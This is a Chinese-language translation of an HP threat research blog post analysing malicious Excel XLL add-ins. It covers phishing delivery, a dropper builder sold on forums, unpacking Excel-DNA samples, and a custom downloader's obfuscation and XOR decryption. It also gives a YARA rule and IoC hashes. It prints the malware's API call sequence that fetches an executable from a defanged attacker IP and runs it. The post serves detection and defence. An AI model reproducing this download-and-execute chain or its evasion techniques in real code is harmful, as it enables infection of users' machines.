HP 威胁研究博客 - How Attackers Use XLL Malware to Infect Systems

最近几个月,我们发现使用恶意Microsoft Excel 加载项(XLL) 文件感染系统的恶意软件活动有所增加。这种技术在 MITRE ATT&CK 中被跟踪为T1137.006。此类加载项背后的想法是它们包含高性能函数,并且可以通过应用程序编程接口 (API) 从 Excel 工作表中调用。
与 Visual Basic for Applications (VBA) 等其他脚本接口相比,此功能使用户能够更强大地扩展 Excel 的功能,因为它支持更多功能,例如多线程。但是,攻击者也可以利用这些功能来实现恶意目标。
在我们看到的活动中,带有恶意 XLL 附件或链接的电子邮件被发送给用户。双击附件打开 Microsoft Excel,提示用户安装并激活加载项。
image.png
图 1 – 打开 XLL 文件时向用户显示的提示。
攻击者通常将他们的代码放在xlAutoOpen函数中,该函数在加载项被激活时立即执行。使这种技术变得危险的是,只需单击一下即可运行恶意软件,这与需要用户禁用 Microsoft Office 的受保护视图并启用宏内容的 VBA 宏不同
但是,XLL 文件是可移植的可执行文件,遵循许多电子邮件网关已经阻止的动态链接库 (DLL) 的格式。我们建议组织考虑以下缓解措施:

  • 配置您的电子邮件网关以阻止包含 XLL 附件的入站电子邮件。
  • 将 Microsoft Excel 配置为仅允许受信任的发布者签名的加载项。
  • 配置 Microsoft Excel 以完全禁用专有加载项。

    出售 XLL 恶意软件

    XLL 攻击的增加促使我们搜索地下论坛,以评估使用这种文件格式的工具和服务的流行程度。我们反复遇到来自一个威胁参与者的广告,他们声称正在销售一种创建 XLL Dropper的生成器。
    image.png图 2 – 论坛帖子广告 XLL Excel Dropper。
    用户指定一个可执行文件或一个链接并添加一个诱饵文件。生成一个 XLL 文件作为输出,然后可用于攻击:
    image.png图 3 – XLL Excel 滴管用户界面。

    EXCEL-DNA 生成的加载项

    我们分析的大多数 XLL 样品具有相同的结构。
    本质上,XLL 文件是包含名为xlAutoOpen的导出函数的 DLL 。
    我们看到的最常见的恶意 XLL 文件类型是使用名为Excel-DNA的合法软件项目生成的文件。查看遵循此结构的 XLL 恶意软件样本,您可以看到它包含多个大型资源(图 4)。
    image.png图 4 – Excel-DNA 生成的 XLL 内的资源。
    这包括 Excel-DNA 项目组件以及加载项,在本例中是恶意软件释放程序。您可以通过查看资源名称或同样存储在资源部分中的 XML 定义文件来识别包含 Excel 加载项代码的文件。
    image.png图 5 – Excel-DNA XML 定义。
    在此示例中,包含恶意代码的加载项是在 .NET 中开发的,位于MODDNA资源中。要检查代码,您首先需要将此资源保存到磁盘并使用 Lempel-Ziv-Markov 链算法 (LZMA) 算法对其进行解压缩。由于加载项是一个 .NET 应用程序,我们可以对其进行反编译以检索其源代码以进行进一步分析。图 6 显示了我们分析的 XLL 加载项的启动函数,该加载项充当恶意软件下载器。
    image.png图 6 – 从 XLL 文件中提取的恶意软件 .NET 恶意软件下载器。
    使用 Excel-DNA 项目创建的 XLL 文件也可以使用项目提供的脚本自动解压缩。该脚本将 XLL 文件的路径作为参数,然后提取、解压缩并将资源保存到文件夹中。
    image.png图 7 – Excel-DNA 提取脚本。

    自定义生成的加载项

    我们最近还发现了其他类型的 XLL 恶意软件,它们不使用 Excel-DNA 生成加载项。其中一个示例下载器特别有趣,因为它很小(4.5 KB)。与其他 XLL 文件一样,该文件具有导出的xlAutoOpen函数。为了伪装应用程序的控制流,许多连续的jmp指令被执行。
    image.png图 8 - 自定义恶意 Excel 加载项中的 jmp 混淆。
    为了了解它的工作原理,我们删除了 jmp 指令,只分析了相关指令。我们注意到加密数据位于可执行代码之后的文件中。数据在一个循环中解密,首先确定数据的位置和大小,然后使用 XOR 操作对其进行去混淆处理。每 8 个字节后,密钥被相乘并添加到两个不同的常量。
    image.png图 9 – 自定义 Excel 加载项的解密循环。
    一旦数据被解密,它就会包含三个 DLL 名称、五个 API 函数名称、有效负载的 URL 以及存储有效负载的本地文件的路径。使用解密的 DLL 名称,恶意软件首先通过进程环境块 (PEB) 遍历InLoadOrderModuleList正确解析基地址,然后使用它们找到它希望调用的 API 函数的地址。
    image.png图 10 – DLL 模块地址解析函数。
    然后,恶意软件使用解析后的 API 函数从 Web 服务器下载有效负载,将其存储在本地,然后执行。在此示例中,我们分析的恶意软件进行了以下 API 调用:

    1. GetProcAddress(“ExpandEnvironmentStringsW”)
    2. ExpandEnvironmentStringsW(“”%APPDATA%\joludn.exe””)
    3. LoadLibraryW(“UrlMon”)
    4. GetProcAddress(“URLToDownloadFile”)
    5. URLToDownloadFile(“hxxp://141.95.107[.]91/cgi/dl/8521000125423.exe”, “C:\Users\REDACTED\AppData\Roaming\joludn.exe”)
    6. _wsystem(“C:\Users\REDACTED\AppData\Roaming\joludn.exe”)

    可以使用以下 YARA 规则跟踪自定义 XLL 恶意软件:

    1. rule xll_custom_builder
    2. {
    3. meta:
    4. description = "XLL Custom Builder"
    5. author = "patrick.schlapfer@hp.com"
    6. date = "2022-01-07"
    7. strings:
    8. str2 = "test"
    9. op2 = { 4D 31 0E }
    10. op4 = { 49 39 C6 }
    11. condition:
    12. uint16(0) == 0x5A4D and all of (op*) and filesize < 10KB
    13. }

    结论

    Microsoft Excel 提供了许多合法的代码执行方式,例如 Excel4 宏动态数据交换 (DDE) 和 VBA,这些都被攻击者广泛滥用。在过去的几个月里,我们已经看到恶意软件系列,如 Dridex、Agent Tesla、Raccoon Stealer 和 Formbook,在系统初始感染期间使用 XLL 文件投递。
    为了创建这些文件,攻击者很可能使用图 1 所示论坛中宣传的构建器。我们发现许多恶意加载项是使用 Excel-DNA 生成的,但是,我们分析的一些 XLL 恶意软件是定制的更多地使用加密来掩饰其功能。过去几个月 XLL 攻击数量的增加表明攻击者有兴趣探索这种技术,

    IoCs

    使用 Excel-DNA 构建的 XLL 插件

    380f15a57aee6d2e6f48ed36dd077be29aa3a3eb05bfb15a1a82b26cfedf6160

    自定义 XLL 加载项

    c314c7feeb98de6391da83678e1639aade3fbe9c95846b8c2f2590ea3d34dd4f
    更多 XLL 哈希可以在我们的GitHub 存储库中找到。